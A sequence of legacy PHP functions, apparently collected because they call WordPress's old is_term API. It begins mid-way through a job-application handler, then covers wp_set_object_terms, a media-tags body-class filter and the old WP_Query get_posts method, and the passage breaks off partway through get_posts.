$pcat->slug, 'jobman_category', $append); $append = true; } } } if (array_key_exists('jobman-catselect', $_REQUEST) && !empty($_REQUEST['jobman-catselect']) && is_array($_REQUEST['jobman-catselect'])) { // Get any categories selected from the category dropdown foreach ($_REQUEST['jobman-catselect'] as $bonuscat) { if (is_term($bonuscat, 'jobman_category')) { wp_set_object_terms($appid, $bonuscat, 'jobman_category', $append); $append = true; } } } // Add the jobs to the application $jobs = array(); if (-1 != $jobid) { $jobs[] = $jobid; } if (array_key_exists('jobman-joblist', $_REQUEST)) { $joblist = explode(',', $_REQUEST['jobman-joblist']); $jobs = array_merge($jobs, $joblist); } // Add any extra jobs to the application if (array_key_exists('jobman-jobselect', $_REQUEST) && !empty($_REQUEST['jobman-jobselect'])) { if (is_array($_REQUEST['jobman-jobselect'])) { $jobs = array_merge($jobs, $_REQUEST['jobman-jobselect']); } else { $jobs[] = $_REQUEST['jobman-jobselect']; } } $jobs = array_unique($jobs); foreach ($jobs as $data) { add_post_meta($appid, 'job', $data, false); } $errors = array(); if (count($fields) > 0) { foreach ($fields as $fid => $field) { if ($field['type'] != 'file' && (!array_key_exists("jobman-field-{$fid}", $_REQUEST) || '' == $_REQUEST["jobman-field-{$fid}"])) { continue; } if ('file' == $field['type'] && !array_key_exists("jobman-field-{$fid}", $_FILES)) { continue; } $data = ''; switch ($field['type']) { case 'file': if (is_uploaded_file($_FILES["jobman-field-{$fid}"]['tmp_name'])) { $data = media_handle_upload("jobman-field-{$fid}", $appid, array('post_status' => 'private')); if (is_wp_error($data)) { // Upload failed, move to next field $errors[] = $data; continue 2; } add_post_meta($data, '_jobman_attachment', 1, true); add_post_meta($data, '_jobman_attachment_upload', 1, true); } break; case 'geoloc': if ($_REQUEST["jobman-field-original-display-{$fid}"] == $_REQUEST["jobman-field-display-{$fid}"]) { $data = $_REQUEST["jobman-field-{$fid}"]; } else { $data = $_REQUEST["jobman-field-display-{$fid}"]; } add_post_meta($appid, "data-display{$fid}", $_REQUEST["jobman-field-display-{$fid}"], true); break; default: if (is_array($_REQUEST["jobman-field-{$fid}"])) { $data = implode(', ', $_REQUEST["jobman-field-{$fid}"]); } else { $data = $_REQUEST["jobman-field-{$fid}"]; } } add_post_meta($appid, "data{$fid}", $data, true); } } jobman_email_application($appid); if (!empty($errors)) { return $errors; } // No error return -1; }
function add_range_term_stock() { if (!is_term('Stock', 'type')) { wp_insert_term('Stock', 'type'); } }
/** * Create Term and Taxonomy Relationships. * * Relates an object (post, link etc) to a term and taxonomy type. Creates the * term and taxonomy relationship if it doesn't already exist. Creates a term if * it doesn't exist (using the slug). * * A relationship means that the term is grouped in or belongs to the taxonomy. * A term has no meaning until it is given context by defining which taxonomy it * exists under. * * @package WordPress * @subpackage Taxonomy * @since 2.3.0 * @uses $wpdb * * @param int $object_id The object to relate to. * @param array|int|string $term The slug or id of the term, will replace all existing * related terms in this taxonomy. * @param array|string $taxonomy The context in which to relate the term to the object. * @param bool $append If false will delete difference of terms. * @return array|WP_Error Affected Term IDs */ function wp_set_object_terms($object_id, $terms, $taxonomy, $append = false) { global $wpdb; $object_id = (int) $object_id; if (!is_taxonomy($taxonomy)) { return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); } if (!is_array($terms)) { $terms = array($terms); } if (!$append) { $old_tt_ids = wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids', 'orderby' => 'none')); } $tt_ids = array(); $term_ids = array(); foreach ((array) $terms as $term) { if (!strlen(trim($term))) { continue; } if (!($term_info = is_term($term, $taxonomy))) { $term_info = wp_insert_term($term, $taxonomy); } if (is_wp_error($term_info)) { return $term_info; } $term_ids[] = $term_info['term_id']; $tt_id = $term_info['term_taxonomy_id']; $tt_ids[] = $tt_id; if ($wpdb->get_var($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_relationships} WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id))) { continue; } do_action('add_term_relationship', $object_id, $tt_id); $wpdb->insert($wpdb->term_relationships, array('object_id' => $object_id, 'term_taxonomy_id' => $tt_id)); do_action('added_term_relationship', $object_id, $tt_id); } wp_update_term_count($tt_ids, $taxonomy); if (!$append) { $delete_terms = array_diff($old_tt_ids, $tt_ids); if ($delete_terms) { $in_delete_terms = "'" . implode("', '", $delete_terms) . "'"; do_action('delete_term_relationships', $object_id, $delete_terms); $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->term_relationships} WHERE object_id = %d AND term_taxonomy_id IN ({$in_delete_terms})", $object_id)); do_action('deleted_term_relationships', $object_id, $delete_terms); wp_update_term_count($delete_terms, $taxonomy); } } $t = get_taxonomy($taxonomy); if (!$append && isset($t->sort) && $t->sort) { $values = array(); $term_order = 0; $final_tt_ids = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids'); foreach ($tt_ids as $tt_id) { if (in_array($tt_id, $final_tt_ids)) { $values[] = $wpdb->prepare("(%d, %d, %d)", $object_id, $tt_id, ++$term_order); } } if ($values) { $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); } } do_action('set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids); return $tt_ids; }
function mediatags_body_class($classes, $class = '') { global $wp_version; $mediatag_var = get_query_var(MEDIA_TAGS_QUERYVAR); if ($mediatag_var) { $classes[] = 'media-tags-archive'; $classes[] = 'media-tags-slug-' . $mediatag_var; if (version_compare($wp_version, '3.0', '<')) { $mediatag_term = is_term($mediatag_var, MEDIA_TAGS_TAXONOMY); } else { $mediatag_term = term_exists($mediatag_var, MEDIA_TAGS_TAXONOMY); } if ($mediatag_term) { $classes[] = 'media-tags-term-id-' . $mediatag_term['term_id']; } } return $classes; }
/** * Retrieve the posts based on query variables. * * There are a few filters and actions that can be used to modify the post * database query. * * @since 1.5.0 * @access public * @uses do_action_ref_array() Calls 'pre_get_posts' hook before retrieving posts. * * @return array List of posts. */ function &get_posts() { global $wpdb, $user_ID; do_action_ref_array('pre_get_posts', array(&$this)); // Shorthand. $q =& $this->query_vars; $q = $this->fill_query_vars($q); // First let's clear some variables $distinct = ''; $whichcat = ''; $whichauthor = ''; $whichmimetype = ''; $where = ''; $limits = ''; $join = ''; $search = ''; $groupby = ''; $fields = "{$wpdb->posts}.*"; $post_status_join = false; $page = 1; if (!isset($q['caller_get_posts'])) { $q['caller_get_posts'] = false; } if (!isset($q['suppress_filters'])) { $q['suppress_filters'] = false; } if (!isset($q['post_type'])) { if ($this->is_search) { $q['post_type'] = 'any'; } else { $q['post_type'] = 'post'; } } $post_type = $q['post_type']; if (!isset($q['posts_per_page']) || $q['posts_per_page'] == 0) { $q['posts_per_page'] = get_option('posts_per_page'); } if (isset($q['showposts']) && $q['showposts']) { $q['showposts'] = (int) $q['showposts']; $q['posts_per_page'] = $q['showposts']; } if (isset($q['posts_per_archive_page']) && $q['posts_per_archive_page'] != 0 && ($this->is_archive || $this->is_search)) { $q['posts_per_page'] = $q['posts_per_archive_page']; } if (!isset($q['nopaging'])) { if ($q['posts_per_page'] == -1) { $q['nopaging'] = true; } else { $q['nopaging'] = false; } } if ($this->is_feed) { $q['posts_per_page'] = get_option('posts_per_rss'); $q['nopaging'] = false; } $q['posts_per_page'] = (int) $q['posts_per_page']; if ($q['posts_per_page'] < -1) { $q['posts_per_page'] = abs($q['posts_per_page']); } else { if ($q['posts_per_page'] == 0) { $q['posts_per_page'] = 1; } } if (!isset($q['comments_per_page']) || $q['comments_per_page'] == 0) { $q['comments_per_page'] = get_option('comments_per_page'); } if ($this->is_home && (empty($this->query) || $q['preview'] == 'true') && 'page' == get_option('show_on_front') && get_option('page_on_front')) { $this->is_page = true; $this->is_home = false; $q['page_id'] = get_option('page_on_front'); } if (isset($q['page'])) { $q['page'] = trim($q['page'], '/'); $q['page'] = absint($q['page']); } // If a month is specified in the querystring, load that month if ($q['m']) { $q['m'] = '' . preg_replace('|[^0-9]|', '', $q['m']); $where .= " AND YEAR({$wpdb->posts}.post_date)=" . substr($q['m'], 0, 4); if (strlen($q['m']) > 5) { $where .= " AND MONTH({$wpdb->posts}.post_date)=" . substr($q['m'], 4, 2); } if (strlen($q['m']) > 7) { $where .= " AND DAYOFMONTH({$wpdb->posts}.post_date)=" . substr($q['m'], 6, 2); } if (strlen($q['m']) > 9) { $where .= " AND HOUR({$wpdb->posts}.post_date)=" . substr($q['m'], 8, 2); } if (strlen($q['m']) > 11) { $where .= " AND MINUTE({$wpdb->posts}.post_date)=" . substr($q['m'], 10, 2); } if (strlen($q['m']) > 13) { $where .= " AND SECOND({$wpdb->posts}.post_date)=" . substr($q['m'], 12, 2); } } if ('' !== $q['hour']) { $where .= " AND HOUR({$wpdb->posts}.post_date)='" . $q['hour'] . "'"; } if ('' !== $q['minute']) { $where .= " AND MINUTE({$wpdb->posts}.post_date)='" . $q['minute'] . "'"; } if ('' !== $q['second']) { $where .= " AND SECOND({$wpdb->posts}.post_date)='" . $q['second'] . "'"; } if ($q['year']) { $where .= " AND YEAR({$wpdb->posts}.post_date)='" . $q['year'] . "'"; } if ($q['monthnum']) { $where .= " AND MONTH({$wpdb->posts}.post_date)='" . $q['monthnum'] . "'"; } if ($q['day']) { $where .= " AND DAYOFMONTH({$wpdb->posts}.post_date)='" . $q['day'] . "'"; } if ('' != $q['name']) { $q['name'] = sanitize_title($q['name']); $where .= " AND {$wpdb->posts}.post_name = '" . $q['name'] . "'"; } else { if ('' != $q['pagename']) { if (isset($this->queried_object_id)) { $reqpage = $this->queried_object_id; } else { $reqpage = get_page_by_path($q['pagename']); if (!empty($reqpage)) { $reqpage = $reqpage->ID; } else { $reqpage = 0; } } $page_for_posts = get_option('page_for_posts'); if ('page' != get_option('show_on_front') || empty($page_for_posts) || $reqpage != $page_for_posts) { $q['pagename'] = str_replace('%2F', '/', urlencode(urldecode($q['pagename']))); $page_paths = '/' . trim($q['pagename'], '/'); $q['pagename'] = sanitize_title(basename($page_paths)); $q['name'] = $q['pagename']; $where .= " AND ({$wpdb->posts}.ID = '{$reqpage}')"; $reqpage_obj = get_page($reqpage); if (is_object($reqpage_obj) && 'attachment' == $reqpage_obj->post_type) { $this->is_attachment = true; $this->is_page = true; $q['attachment_id'] = $reqpage; } } } elseif ('' != $q['attachment']) { $q['attachment'] = str_replace('%2F', '/', urlencode(urldecode($q['attachment']))); $attach_paths = '/' . trim($q['attachment'], '/'); $q['attachment'] = sanitize_title(basename($attach_paths)); $q['name'] = $q['attachment']; $where .= " AND {$wpdb->posts}.post_name = '" . $q['attachment'] . "'"; } } if ($q['w']) { $where .= " AND WEEK({$wpdb->posts}.post_date, 1)='" . $q['w'] . "'"; } if (intval($q['comments_popup'])) { $q['p'] = absint($q['comments_popup']); } // If an attachment is requested by number, let it supercede any post number. if ($q['attachment_id']) { $q['p'] = absint($q['attachment_id']); } // If a post number is specified, load that post if ($q['p']) { $where .= " AND {$wpdb->posts}.ID = " . $q['p']; } elseif ($q['post__in']) { $post__in = implode(',', array_map('absint', $q['post__in'])); $where .= " AND {$wpdb->posts}.ID IN ({$post__in})"; } elseif ($q['post__not_in']) { $post__not_in = implode(',', array_map('absint', $q['post__not_in'])); $where .= " AND {$wpdb->posts}.ID NOT IN ({$post__not_in})"; } if (is_numeric($q['post_parent'])) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_parent = %d ", $q['post_parent']); } if ($q['page_id']) { if ('page' != get_option('show_on_front') || $q['page_id'] != get_option('page_for_posts')) { $q['p'] = $q['page_id']; $where = " AND {$wpdb->posts}.ID = " . $q['page_id']; } } // If a search pattern is specified, load the posts that match if (!empty($q['s'])) { // added slashes screw with quote grouping when done early, so done later $q['s'] = stripslashes($q['s']); if (!empty($q['sentence'])) { $q['search_terms'] = array($q['s']); } else { preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $q['s'], $matches); $q['search_terms'] = array_map(create_function('$a', 'return trim($a, "\\"\'\\n\\r ");'), $matches[0]); } $n = !empty($q['exact']) ? '' : '%'; $searchand = ''; foreach ((array) $q['search_terms'] as $term) { $term = addslashes_gpc($term); $search .= "{$searchand}(({$wpdb->posts}.post_title LIKE '{$n}{$term}{$n}') OR ({$wpdb->posts}.post_content LIKE '{$n}{$term}{$n}'))"; $searchand = ' AND '; } $term = $wpdb->escape($q['s']); if (empty($q['sentence']) && count($q['search_terms']) > 1 && $q['search_terms'][0] != $q['s']) { $search .= " OR ({$wpdb->posts}.post_title LIKE '{$n}{$term}{$n}') OR ({$wpdb->posts}.post_content LIKE '{$n}{$term}{$n}')"; } if (!empty($search)) { $search = " AND ({$search}) "; } } // Category stuff if (empty($q['cat']) || $q['cat'] == '0' || $this->is_singular) { $whichcat = ''; } else { $q['cat'] = '' . urldecode($q['cat']) . ''; $q['cat'] = addslashes_gpc($q['cat']); $cat_array = preg_split('/[,\\s]+/', $q['cat']); $q['cat'] = ''; $req_cats = array(); foreach ((array) $cat_array as $cat) { $cat = intval($cat); $req_cats[] = $cat; $in = $cat > 0; $cat = abs($cat); if ($in) { $q['category__in'][] = $cat; $q['category__in'] = array_merge($q['category__in'], get_term_children($cat, 'category')); } else { $q['category__not_in'][] = $cat; $q['category__not_in'] = array_merge($q['category__not_in'], get_term_children($cat, 'category')); } } $q['cat'] = implode(',', $req_cats); } if (!empty($q['category__in'])) { $groupby = "{$wpdb->posts}.ID"; } if (!empty($q['category__in'])) { $join = " INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) INNER JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'category' "; $include_cats = "'" . implode("', '", $q['category__in']) . "'"; $whichcat .= " AND {$wpdb->term_taxonomy}.term_id IN ({$include_cats}) "; } if (!empty($q['category__not_in'])) { if ($wpdb->has_cap('subqueries')) { $cat_string = "'" . implode("', '", $q['category__not_in']) . "'"; $whichcat .= " AND {$wpdb->posts}.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy = 'category' AND tt.term_id IN ({$cat_string}) )"; } else { $ids = get_objects_in_term($q['category__not_in'], 'category'); if (is_wp_error($ids)) { $ids = array(); } if (is_array($ids) && count($ids > 0)) { $out_posts = "'" . implode("', '", $ids) . "'"; $whichcat .= " AND {$wpdb->posts}.ID NOT IN ({$out_posts})"; } } } // Category stuff for nice URLs if ('' != $q['category_name'] && !$this->is_singular) { $reqcat = get_category_by_path($q['category_name']); $q['category_name'] = str_replace('%2F', '/', urlencode(urldecode($q['category_name']))); $cat_paths = '/' . trim($q['category_name'], '/'); $q['category_name'] = sanitize_title(basename($cat_paths)); $cat_paths = '/' . trim(urldecode($q['category_name']), '/'); $q['category_name'] = sanitize_title(basename($cat_paths)); $cat_paths = explode('/', $cat_paths); $cat_path = ''; foreach ((array) $cat_paths as $pathdir) { $cat_path .= ($pathdir != '' ? '/' : '') . sanitize_title($pathdir); } //if we don't match the entire hierarchy fallback on just matching the nicename if (empty($reqcat)) { $reqcat = get_category_by_path($q['category_name'], false); } if (!empty($reqcat)) { $reqcat = $reqcat->term_id; } else { $reqcat = 0; } $q['cat'] = $reqcat; $join = " INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) INNER JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $whichcat = " AND {$wpdb->term_taxonomy}.taxonomy = 'category' "; $in_cats = array($q['cat']); $in_cats = array_merge($in_cats, get_term_children($q['cat'], 'category')); $in_cats = "'" . implode("', '", $in_cats) . "'"; $whichcat .= "AND {$wpdb->term_taxonomy}.term_id IN ({$in_cats})"; $groupby = "{$wpdb->posts}.ID"; } // Tags if ('' != $q['tag']) { if (strpos($q['tag'], ',') !== false) { $tags = preg_split('/[,\\s]+/', $q['tag']); foreach ((array) $tags as $tag) { $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); $q['tag_slug__in'][] = $tag; } } else { if (preg_match('/[+\\s]+/', $q['tag'])) { $tags = preg_split('/[+\\s]+/', $q['tag']); foreach ((array) $tags as $tag) { $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); $q['tag_slug__and'][] = $tag; } } else { $q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db'); $q['tag_slug__in'][] = $q['tag']; } } } if (!empty($q['tag__in']) || !empty($q['tag_slug__in'])) { $groupby = "{$wpdb->posts}.ID"; } if (!empty($q['tag__in'])) { $join = " INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) INNER JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' "; $include_tags = "'" . implode("', '", $q['tag__in']) . "'"; $whichcat .= " AND {$wpdb->term_taxonomy}.term_id IN ({$include_tags}) "; $reqtag = is_term($q['tag__in'][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag['term_id']; } } if (!empty($q['tag_slug__in'])) { $join = " INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) INNER JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) INNER JOIN {$wpdb->terms} ON ({$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id) "; $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' "; $include_tags = "'" . implode("', '", $q['tag_slug__in']) . "'"; $whichcat .= " AND {$wpdb->terms}.slug IN ({$include_tags}) "; $reqtag = get_term_by('slug', $q['tag_slug__in'][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag->term_id; } } if (!empty($q['tag__not_in'])) { if ($wpdb->has_cap('subqueries')) { $tag_string = "'" . implode("', '", $q['tag__not_in']) . "'"; $whichcat .= " AND {$wpdb->posts}.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr INNER JOIN {$wpdb->term_taxonomy} AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy = 'post_tag' AND tt.term_id IN ({$tag_string}) )"; } else { $ids = get_objects_in_term($q['tag__not_in'], 'post_tag'); if (is_wp_error($ids)) { $ids = array(); } if (is_array($ids) && count($ids > 0)) { $out_posts = "'" . implode("', '", $ids) . "'"; $whichcat .= " AND {$wpdb->posts}.ID NOT IN ({$out_posts})"; } } } // Tag and slug intersections. $intersections = array('category__and' => 'category', 'tag__and' => 'post_tag', 'tag_slug__and' => 'post_tag'); foreach ($intersections as $item => $taxonomy) { if (empty($q[$item])) { continue; } if ($item != 'category__and') { $reqtag = is_term($q[$item][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag['term_id']; } } $taxonomy_field = $item == 'tag_slug__and' ? 'slug' : 'term_id'; $q[$item] = array_unique($q[$item]); $tsql = "SELECT p.ID FROM {$wpdb->posts} p INNER JOIN {$wpdb->term_relationships} tr ON (p.ID = tr.object_id) INNER JOIN {$wpdb->term_taxonomy} tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) INNER JOIN {$wpdb->terms} t ON (tt.term_id = t.term_id)"; $tsql .= " WHERE tt.taxonomy = '{$taxonomy}' AND t.{$taxonomy_field} IN ('" . implode("', '", $q[$item]) . "')"; $tsql .= " GROUP BY p.ID HAVING count(p.ID) = " . count($q[$item]); $post_ids = $wpdb->get_col($tsql); if (count($post_ids)) { $whichcat .= " AND {$wpdb->posts}.ID IN (" . implode(', ', $post_ids) . ") "; } else { $whichcat = " AND 0 = 1"; break; } } // Taxonomies if ($this->is_tax) { if ('' != $q['taxonomy']) { $taxonomy = $q['taxonomy']; $tt[$taxonomy] = $q['term']; $terms = get_terms($q['taxonomy'], array('slug' => $q['term'])); } else { foreach ($GLOBALS['wp_taxonomies'] as $taxonomy => $t) { if (isset($t->query_var) && '' != $q[$t->query_var]) { $terms = get_terms($taxonomy, array('slug' => $q[$t->query_var])); if (!is_wp_error($terms)) { break; } } } } if (is_wp_error($terms) || empty($terms)) { $whichcat = " AND 0 "; } else { foreach ($terms as $term) { $term_ids[] = $term->term_id; } $post_ids = get_objects_in_term($term_ids, $taxonomy); if (!is_wp_error($post_ids) && count($post_ids)) { $whichcat .= " AND {$wpdb->posts}.ID IN (" . implode(', ', $post_ids) . ") "; $post_type = 'any'; $q['post_status'] = 'publish'; $post_status_join = true; } else { $whichcat = " AND 0 "; } } } // Author/user stuff if (empty($q['author']) || $q['author'] == '0') { $whichauthor = ''; } else { $q['author'] = '' . urldecode($q['author']) . ''; $q['author'] = addslashes_gpc($q['author']); if (strpos($q['author'], '-') !== false) { $eq = '!='; $andor = 'AND'; $q['author'] = explode('-', $q['author']); $q['author'] = '' . absint($q['author'][1]); } else { $eq = '='; $andor = 'OR'; } $author_array = preg_split('/[,\\s]+/', $q['author']); $whichauthor .= " AND ({$wpdb->posts}.post_author " . $eq . ' ' . absint($author_array[0]); for ($i = 1; $i < count($author_array); $i = $i + 1) { $whichauthor .= ' ' . $andor . " {$wpdb->posts}.post_author " . $eq . ' ' . absint($author_array[$i]); } $whichauthor .= ')'; } // Author stuff for nice URLs if ('' != $q['author_name']) { if (strpos($q['author_name'], '/') !== false) { $q['author_name'] = explode('/', $q['author_name']); if ($q['author_name'][count($q['author_name']) - 1]) { $q['author_name'] = $q['author_name'][count($q['author_name']) - 1]; #no trailing slash } else { $q['author_name'] = $q['author_name'][count($q['author_name']) - 2]; #there was a trailling slash } } $q['author_name'] = sanitize_title($q['author_name']); $q['author'] = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_nicename='" . $q['author_name'] . "'"); $whichauthor .= " AND ({$wpdb->posts}.post_author = " . absint($q['author']) . ')'; } // MIME-Type stuff for attachment browsing if (isset($q['post_mime_type']) && '' != $q['post_mime_type']) { $whichmimetype = wp_post_mime_type_where($q['post_mime_type']); } $where .= $search . $whichcat . $whichauthor . $whichmimetype; if (empty($q['order']) || strtoupper($q['order']) != 'ASC' && strtoupper($q['order']) != 'DESC') { $q['order'] = 'DESC'; } // Order by if (empty($q['orderby'])) { $q['orderby'] = "{$wpdb->posts}.post_date " . $q['order']; } else { // Used to filter values $allowed_keys = array('author', 'date', 'category', 'title', 'modified', 'menu_order', 'parent', 'ID', 'rand'); if (!empty($q['meta_key'])) { $allowed_keys[] = $q['meta_key']; $allowed_keys[] = 'meta_value'; } $q['orderby'] = urldecode($q['orderby']); $q['orderby'] = addslashes_gpc($q['orderby']); $orderby_array = explode(' ', $q['orderby']); if (empty($orderby_array)) { $orderby_array[] = $q['orderby']; } $q['orderby'] = ''; for ($i = 0; $i < count($orderby_array); $i++) { // Only allow certain values for safety $orderby = $orderby_array[$i]; switch ($orderby) { case 'menu_order': break; case 'ID': $orderby = "{$wpdb->posts}.ID"; break; case 'rand': $orderby = 'RAND()'; break; case $q['meta_key']: case 'meta_value': $orderby = "{$wpdb->postmeta}.meta_value"; break; default: $orderby = "{$wpdb->posts}.post_" . $orderby; } if (in_array($orderby_array[$i], $allowed_keys)) { $q['orderby'] .= ($i == 0 ? '' : ',') . $orderby; } } // append ASC or DESC at the end if (!empty($q['orderby'])) { $q['orderby'] .= " {$q['order']}"; } if (empty($q['orderby'])) { $q['orderby'] = "{$wpdb->posts}.post_date " . $q['order']; } } if ($this->is_attachment) { $where .= " AND {$wpdb->posts}.post_type = 'attachment'"; } elseif ($this->is_page) { $where .= " AND {$wpdb->posts}.post_type = 'page'"; } elseif ($this->is_single) { $where .= " AND {$wpdb->posts}.post_type = 'post'"; } elseif ('any' == $post_type) { $where .= ''; } else { $where .= " AND {$wpdb->posts}.post_type = '{$post_type}'"; } if (isset($q['post_status']) && '' != $q['post_status']) { $statuswheres = array(); $q_status = explode(',', $q['post_status']); $r_status = array(); $p_status = array(); if (in_array('draft', $q_status)) { $r_status[] = "{$wpdb->posts}.post_status = 'draft'"; } if (in_array('pending', $q_status)) { $r_status[] = "{$wpdb->posts}.post_status = 'pending'"; } if (in_array('future', $q_status)) { $r_status[] = "{$wpdb->posts}.post_status = 'future'"; } if (in_array('inherit', $q_status)) { $r_status[] = "{$wpdb->posts}.post_status = 'inherit'"; } if (in_array('private', $q_status)) { $p_status[] = "{$wpdb->posts}.post_status = 'private'"; } if (in_array('publish', $q_status)) { $r_status[] = "{$wpdb->posts}.post_status = 'publish'"; } if (empty($q['perm']) || 'readable' != $q['perm']) { $r_status = array_merge($r_status, $p_status); unset($p_status); } if (!empty($r_status)) { if (!empty($q['perm']) && 'editable' == $q['perm'] && !current_user_can("edit_others_{$post_type}s")) { $statuswheres[] = "({$wpdb->posts}.post_author = {$user_ID} " . "AND (" . join(' OR ', $r_status) . "))"; } else { $statuswheres[] = "(" . join(' OR ', $r_status) . ")"; } } if (!empty($p_status)) { if (!empty($q['perm']) && 'readable' == $q['perm'] && !current_user_can("read_private_{$post_type}s")) { $statuswheres[] = "({$wpdb->posts}.post_author = {$user_ID} " . "AND (" . join(' OR ', $p_status) . "))"; } else { $statuswheres[] = "(" . join(' OR ', $p_status) . ")"; } } if ($post_status_join) { $join .= " LEFT JOIN {$wpdb->posts} AS p2 ON ({$wpdb->posts}.post_parent = p2.ID) "; foreach ($statuswheres as $index => $statuswhere) { $statuswheres[$index] = "({$statuswhere} OR ({$wpdb->posts}.post_status = 'inherit' AND " . str_replace($wpdb->posts, 'p2', $statuswhere) . "))"; } } foreach ($statuswheres as $statuswhere) { $where .= " AND {$statuswhere}"; } } elseif (!$this->is_singular) { $where .= " AND ({$wpdb->posts}.post_status = 'publish'"; if (is_admin()) { $where .= " OR {$wpdb->posts}.post_status = 'future' OR {$wpdb->posts}.post_status = 'draft' OR {$wpdb->posts}.post_status = 'pending'"; } if (is_user_logged_in()) { $where .= current_user_can("read_private_{$post_type}s") ? " OR {$wpdb->posts}.post_status = 'private'" : " OR {$wpdb->posts}.post_author = {$user_ID} AND {$wpdb->posts}.post_status = 'private'"; } $where .= ')'; } // postmeta queries if (!empty($q['meta_key']) || !empty($q['meta_value'])) { $join .= " LEFT JOIN {$wpdb->postmeta} ON ({$wpdb->posts}.ID = {$wpdb->postmeta}.post_id) "; } if (!empty($q['meta_key'])) { $where .= $wpdb->prepare(" AND {$wpdb->postmeta}.meta_key = %s ", $q['meta_key']); } if (!empty($q['meta_value'])) { if (!isset($q['meta_compare']) || empty($q['meta_compare']) || !in_array($q['meta_compare'], array('=', '!=', '>', '>=', '<', '<='))) { $q['meta_compare'] = '='; } $where .= $wpdb->prepare("AND {$wpdb->postmeta}.meta_value {$q['meta_compare']} %s ", $q['meta_value']); } // Apply filters on where and join prior to paging so that any // manipulations to them are reflected in the paging by day queries. if (!$q['suppress_filters']) { $where = apply_filters('posts_where', $where); $join = apply_filters('posts_join', $join); } // Paging if (empty($q['nopaging']) && !$this->is_singular) { $page = absint($q['paged']); if (empty($page)) { $page = 1; } if (empty($q['offset'])) { $pgstrt = ''; $pgstrt = ($page - 1) * $q['posts_per_page'] . ', '; $limits = 'LIMIT ' . $pgstrt . $q['posts_per_page']; } else { // we're ignoring $page and using 'offset' $q['offset'] = absint($q['offset']); $pgstrt = $q['offset'] . ', '; $limits = 'LIMIT ' . $pgstrt . $q['posts_per_page']; } } // Comments feeds if ($this->is_comment_feed && ($this->is_archive || $this->is_search || !$this->is_singular)) { if ($this->is_archive || $this->is_search) { $cjoin = "LEFT JOIN {$wpdb->posts} ON ({$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID) {$join} "; $cwhere = "WHERE comment_approved = '1' {$where}"; $cgroupby = "GROUP BY {$wpdb->comments}.comment_id"; } else { // Other non singular e.g. front $cjoin = "LEFT JOIN {$wpdb->posts} ON ( {$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID )"; $cwhere = "WHERE post_status = 'publish' AND comment_approved = '1'"; $cgroupby = ''; } if (!$q['suppress_filters']) { $cjoin = apply_filters('comment_feed_join', $cjoin); $cwhere = apply_filters('comment_feed_where', $cwhere); $cgroupby = apply_filters('comment_feed_groupby', $cgroupby); } $this->comments = (array) $wpdb->get_results("SELECT {$distinct} {$wpdb->comments}.* FROM {$wpdb->comments} {$cjoin} {$cwhere} {$cgroupby} ORDER BY comment_date_gmt DESC LIMIT " . get_option('posts_per_rss')); $this->comment_count = count($this->comments); $post_ids = array(); foreach ($this->comments as $comment) { $post_ids[] = (int) $comment->comment_post_ID; } $post_ids = join(',', $post_ids); $join = ''; if ($post_ids) { $where = "AND {$wpdb->posts}.ID IN ({$post_ids}) "; } else { $where = "AND 0"; } } $orderby = $q['orderby']; // Apply post-paging filters on where and join. Only plugins that // manipulate paging queries should use these hooks. if (!$q['suppress_filters']) { $where = apply_filters('posts_where_paged', $where); $groupby = apply_filters('posts_groupby', $groupby); $join = apply_filters('posts_join_paged', $join); $orderby = apply_filters('posts_orderby', $orderby); $distinct = apply_filters('posts_distinct', $distinct); $limits = apply_filters('post_limits', $limits); if (!empty($q['meta_key'])) { $fields = "{$fields}, {$wpdb->postmeta}.meta_value"; } $fields = apply_filters('posts_fields', $fields); } // Announce current selection parameters. For use by caching plugins. 